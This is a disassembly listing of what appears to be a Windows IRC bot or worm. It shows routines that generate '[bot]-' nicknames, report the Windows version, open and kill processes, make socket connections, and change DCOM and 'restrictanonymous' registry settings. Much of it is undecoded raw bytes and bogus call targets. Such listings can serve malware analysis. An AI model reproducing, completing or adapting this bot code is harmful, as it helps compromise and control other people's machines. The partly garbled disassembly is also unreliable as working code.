		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h

loc_41539A:				; CODE XREF: sub_41533B+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_41518A
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4153C2
		push	offset unk_432ECC
		jmp	short loc_4153C7
; ---------------------------------------------------------------------------

loc_4153C2:				; CODE XREF: sub_41533B+7Ej
		push	offset unk_432E94

loc_4153C7:				; CODE XREF: sub_41533B+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4153FA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h

loc_4153FA:				; CODE XREF: sub_41533B+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_14]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26101F3h
		nop
		pop	edi
		pop	esi
sub_41533B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415419	proc near		; CODE XREF: sub_40EE72+4B08p
					; sub_416E97+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 2730591h
		mov	esi, eax
		test	esi, esi
		jz	short loc_41544B
		push	0
		push	esi
		nop
		call	near ptr 27F0AC7h
		test	eax, eax
		jnz	short loc_41544B
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2640811h

loc_41544B:				; CODE XREF: sub_415419+1Aj
					; sub_415419+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415419	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415450	proc near		; CODE XREF: sub_4030D1+Ap
					; ___:0040369Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_41730C
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4246A0
		call	sub_417DC4
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415450	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_4407FC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_43AD80
		test	eax, eax
		jnz	short loc_415504
		push	dword ptr [esi]
		call	dword_43AE30
		push	dword ptr [ebp+8]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 26101F3h

loc_415504:				; CODE XREF: ___:004154EAj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43ADB0
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_43ACF4
		test	eax, eax
		jz	short loc_41557D
		call	dword_43AD2C
		push	eax
		push	offset dword_432FF8
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26101F3h

loc_41557D:				; CODE XREF: ___:00415558j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_43AD50
		cmp	eax, edi
		jnz	short loc_4155A7
		push	dword ptr [ebp-18h]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4172B0
		jmp	short loc_4155B5
; ---------------------------------------------------------------------------

loc_4155A7:				; CODE XREF: ___:0041558Dj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4179C0

loc_4155B5:				; CODE XREF: ___:004155A5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_436EDC
		push	dword ptr [esi]
		call	dword_43ADE8
		cmp	dword_4CD77C, edi
		jnz	short loc_415617
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_4156DF
		add	esp, 10h
		test	eax, eax
		jnz	short loc_415617
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		call	dword_43AE30
		push	dword ptr [ebp+8]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 26101F3h

loc_415617:				; CODE XREF: ___:004155CCj
					; ___:004155EDj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_432FAC
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_4165C6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41565E
		call	near ptr 2660AEBh
		nop
		push	eax
		push	offset dword_432F70
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26101F3h

loc_41565E:				; CODE XREF: ___:00415639j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_432F38
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 10h
		push	edi
		call	near ptr 26101F3h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415685	proc near		; CODE XREF: ___:0041551Ap
					; ___:00415527p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		cmp	eax, 1
		jnz	short loc_4156D5
		mov	esi, [ebp+arg_4]

loc_4156A3:				; CODE XREF: sub_415685+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_4156CA
		test	al, al
		jz	short loc_4156D9
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		cmp	eax, 1
		jz	short loc_4156A3
		jmp	short loc_4156D5
; ---------------------------------------------------------------------------

loc_4156CA:				; CODE XREF: sub_415685+27j
		push	offset dword_433034
		call	sub_40BFE1
		pop	ecx

loc_4156D5:				; CODE XREF: sub_415685+19j
					; sub_415685+43j
		xor	eax, eax
		jmp	short loc_4156DC
; ---------------------------------------------------------------------------

loc_4156D9:				; CODE XREF: sub_415685+2Bj
		push	1
		pop	eax

loc_4156DC:				; CODE XREF: sub_415685+52j
		pop	esi
		leave
		retn
sub_415685	endp


; =============== S U B	R O U T	I N E =======================================



sub_4156DF	proc near		; CODE XREF: ___:004155E3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41570A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_43306C
		call	sub_40BFE1
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41570A:				; CODE XREF: sub_4156DF+11j
		push	1
		pop	eax
		retn
sub_4156DF	endp

; ---------------------------------------------------------------------------
word_41570E	dw 8B55h		; DATA XREF: sub_40EE72+5623o
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	43AD10h, 0C63BF633h, 68501D74h
		dd 433230h, 0FF688CE8h,	0B475FFFFh, 191BE8h, 0CC48300h
		dd 8CE89057h, 57021FAAh, 41598C68h, 68E89000h, 85023DB4h
		dd 902975C0h, 24B36EE8h, 0E0685002h, 0E8004331h, 0FFFF6859h
		dd 15FF5959h, 43ACF8h, 0E8B475FFh, 18E0h, 0E8905759h, 21FAA53h
		dd 8D106A53h, 5056E045h, 1B83E8h, 0CC48300h, 0E045C766h
		dd 75FF0002h, 9815FFB0h, 6A0043ADh, 26A5706h, 0E2458966h
		dd 0FFE47589h, 43AE1815h, 83D88B00h, 840FFFFBh,	13Bh, 6AB4458Bh
		dd 34C06910h, 89000002h, 4407FC98h, 0E0458D00h,	15FF5350h
		dd 43ADC4h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh, 43ADC0h
		dd 850FC085h, 103h, 43319468h, 0F045C700h, 0Ch,	89F47589h
		dd 42E8F875h, 59FFFF67h, 8D087D89h, 45C7FC45h, 10FCh, 458D5000h
		dd 0FF5350CCh, 43AE2C15h, 83F88B00h, 840FFFFFh,	0CAh, 8D0875FFh
		dd 6A500845h, 0FFFF6808h, 0FF570000h, 43AD7815h, 0FFF88300h
		dd 0B70FC574h, 75FFCE45h, 0C87589B4h, 0D075FF50h, 0AE2415FFh
		dd 8D500043h, 0FFFBEC85h, 314068FFh, 0E8500043h, 1A20h
		dd 0FBEC858Dh, 0E850FFFFh, 0FFFF66D1h, 0EC858D57h, 6AFFFFFBh
		dd 0B1E85006h, 89000014h, 0C069B845h, 234h, 83B44D8Bh
		dd 888924C4h, 4407F4h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
		dd 41548068h, 0F0458D00h, 0E8905056h, 227B1E8h,	69B84D8Bh
		dd 234C9h, 89C63B00h, 44080481h, 39137400h, 850FC875h
		dd 0FFFFFF37h, 0E890326Ah, 21FB542h, 0E890EDEBh, 224B1E3h
		dd 30F46850h, 0CEE80043h, 59FFFF66h, 8B03EB59h,	15FF087Dh
		dd 43AD2Ch, 0EC858D50h,	68FFFFFBh, 4330B0h, 197EE850h
		dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
		dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 22E8FFFFh, 83FFFF7Dh
		dd 858D14C4h, 0FFFFFBECh, 6607E850h, 5759FFFFh,	0AE3015FFh
		dd 0FF530043h, 43AE3015h, 0F815FF00h, 0FF0043ACh, 0F5E8B475h
		dd 59000016h, 68E89056h, 5B021FA8h, 4439C033h, 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_415996	proc near		; CODE XREF: sub_415D01+49p
					; DATA XREF: ___:off_433280o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 2610602h
		push	eax
		call	sub_417302
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aBot ; "[bot]-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_4159EF

loc_4159C9:				; CODE XREF: sub_415996+57j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4332D4
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_4159C9

loc_4159EF:				; CODE XREF: sub_415996+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159F4	proc near		; CODE XREF: sub_40EE72+3E7Fp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 2610602h
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_41730C
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42F5C8
		test	esi, esi
		jle	short loc_415A37

loc_415A21:				; CODE XREF: sub_4159F4+41j
		call	sub_41730C
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_415A21

loc_415A37:				; CODE XREF: sub_4159F4+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4159F4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 2610602h
		push	eax
		call	sub_417302
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4332DC
		push	eax
		push	esi
		call	near ptr 27E0000h
		nop
		movsx	eax, byte_4332DC
		push	41h
		pop	ecx
		push	1
		pop	edx

loc_415A7D:				; CODE XREF: ___:00415A88j
		cmp	eax, ecx
		jnz	short loc_415A84
		mov	[ebp-4], edx

loc_415A84:				; CODE XREF: ___:00415A7Fj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_415A7D
		push	61h
		pop	ecx

loc_415A8D:				; CODE XREF: ___:00415A98j
		cmp	eax, ecx
		jnz	short loc_415A94
		mov	[ebp-4], edx

loc_415A94:				; CODE XREF: ___:00415A8Fj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_415A8D
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42F5C8, esi
		jle	short loc_415AD9

loc_415AB3:				; CODE XREF: ___:00415AD7j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4332D4
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415AB3

loc_415AD9:				; CODE XREF: ___:00415AB1j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 2610602h
		push	eax
		call	sub_417302
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 2800000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4332E0
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415B4E

loc_415B28:				; CODE XREF: ___:00415B4Cj
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4332D4
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415B28

loc_415B4E:				; CODE XREF: ___:00415B26j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_436EDC
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 27B1553h
		nop
		call	near ptr 2610602h
		push	eax
		call	sub_417302
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_415BD8
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BB8
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_415BA8
		mov	esi, offset a95	; "95"

loc_415BA8:				; CODE XREF: ___:00415BA1j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_415C14
		mov	esi, offset aNt	; "NT"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415BB8:				; CODE XREF: ___:00415B98j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_415BC8
		mov	esi, offset a98	; "98"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415BC8:				; CODE XREF: ___:00415BBFj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_415C0F
		mov	esi, offset aMe	; "ME"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415BD8:				; CODE XREF: ___:00415B8Fj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_415C0F
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BF1
		mov	esi, offset a2k	; "2K"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415BF1:				; CODE XREF: ___:00415BE8j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_415C01
		mov	esi, offset aXp	; "XP"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415C01:				; CODE XREF: ___:00415BF8j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_4332EC
		jz	short loc_415C14

loc_415C0F:				; CODE XREF: ___:00415BCFj
					; ___:00415BDFj
		mov	esi, offset dword_42DDDC

loc_415C14:				; CODE XREF: ___:00415BAFj
					; ___:00415BB6j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4332E4
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415C58

loc_415C32:				; CODE XREF: ___:00415C56j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4332D4
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415C32

loc_415C58:				; CODE XREF: ___:00415C30j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C5E	proc near		; CODE XREF: sub_415D01+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 2610602h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_415CAD
		call	dword_43ADA4
		test	eax, eax
		mov	eax, offset dword_4332F8
		jnz	short loc_415C96
		mov	eax, offset byte_436EDC

loc_415C96:				; CODE XREF: sub_415C5E+31j
		push	eax
		push	esi
		push	offset dword_4332F0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_415CCD
; ---------------------------------------------------------------------------

loc_415CAD:				; CODE XREF: sub_415C5E+22j
		call	dword_43ADA4
		test	eax, eax
		mov	eax, offset dword_4332F8
		jnz	short loc_415CC1
		mov	eax, offset byte_436EDC

loc_415CC1:				; CODE XREF: sub_415C5E+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_415CCD:				; CODE XREF: sub_415C5E+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_415CFC
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418DE0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 18h

loc_415CFC:				; CODE XREF: sub_415C5E+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_415C5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D01	proc near		; CODE XREF: sub_40EB92+7Fp
					; sub_40ECFA+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_43327C

loc_415D0D:				; CODE XREF: sub_415D01+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_415D28
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_4176D0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_415D32
; ---------------------------------------------------------------------------

loc_415D28:				; CODE XREF: sub_415D01+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_415D32:				; CODE XREF: sub_415D01+25j
		test	eax, eax
		jnz	short loc_415D44
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_4332E0
		jb	short loc_415D0D
		jmp	short loc_415D52
; ---------------------------------------------------------------------------

loc_415D44:				; CODE XREF: sub_415D01+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_433280[eax*4]
		pop	ecx

loc_415D52:				; CODE XREF: sub_415D01+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_415D65
		push	[ebp+arg_0]
		call	sub_415C5E
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_415D65:				; CODE XREF: sub_415D01+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_415D01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D6A	proc near

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_43AD98
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_43AE18
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_415E28
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_4407FC[ecx], esi
		jz	short loc_415E28
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_43AE24
		push	eax
		mov	edi, offset dword_4CD784
		push	offset unk_4332FC
		push	edi
		call	sub_4172B0
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40D679
		push	edi
		call	sub_40BF6D
		add	esp, 28h

loc_415E28:				; CODE XREF: sub_415D6A+5Dj
					; sub_415D6A+7Ej
		push	esi
		call	dword_43AE30
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_415D6A	endp

; ---------------------------------------------------------------------------
byte_415E37	db 55h			; DATA XREF: sub_40EE72+35E0o
		dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh
		dd 8BA5F3FFh, 42406435h, 0A083C700h, 1000000h, 33000000h
		dd 0D475FFFFh, 0FFE075FFh, 43AE2415h, 858D5000h, 0FFFFFED0h
		dd 43333468h, 2DE85000h, 8D000014h, 0FFFED085h,	1FF68FFh
		dd 8B500000h, 0C069DC45h, 234h,	4405F005h, 6DE85000h, 8300002Dh
		dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 6A685057h,	5700415Dh
		dd 5E89057h, 3B0227ACh,	0FC4589C7h, 7D390B74h, 6A0675F4h
		dd 0EBD6FF32h, 0FC75FFF5h, 22A938E8h, 0B3FF9002h, 88h
		dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 99E85008h
		dd 83000014h, 75FF0CC4h, 0CC15FF08h, 400043ACh,	8458950h
		dd 0AD9415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h
		dd 1470h, 0E90CC483h, 0FFFFFF3Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F28	proc near		; DATA XREF: sub_40EE72+5F4Fo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_415F6F
		call	sub_415F88
		jmp	short loc_415F74
; ---------------------------------------------------------------------------

loc_415F6F:				; CODE XREF: sub_415F28+3Ej
		call	sub_4162AC

loc_415F74:				; CODE XREF: sub_415F28+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_417078
		pop	ecx
		push	0
		call	near ptr 26101F3h
		nop
sub_415F28	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F88	proc near		; CODE XREF: sub_415F28+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43AE68, edi
		jnz	loc_4160BA
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43AE08
		test	eax, eax
		jnz	short loc_416013
		mov	ax, word_4336E4
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43ADBC
		test	eax, eax
		jz	short loc_415FF5
		push	offset unk_4336A4
		jmp	short loc_415FFA
; ---------------------------------------------------------------------------

loc_415FF5:				; CODE XREF: sub_415F88+64j
		push	offset dword_433678

loc_415FFA:				; CODE XREF: sub_415F88+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD74
		jmp	short loc_416026
; ---------------------------------------------------------------------------

loc_416013:				; CODE XREF: sub_415F88+36j
		lea	eax, [ebp+var_214]
		push	offset unk_433638
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_416026:				; CODE XREF: sub_415F88+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_416045
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416045:				; CODE XREF: sub_415F88+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43AE08
		test	eax, eax
		jnz	short loc_4160B3
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_43ADBC
		test	eax, eax
		jz	short loc_416095
		push	offset unk_4335D8
		jmp	short loc_41609A
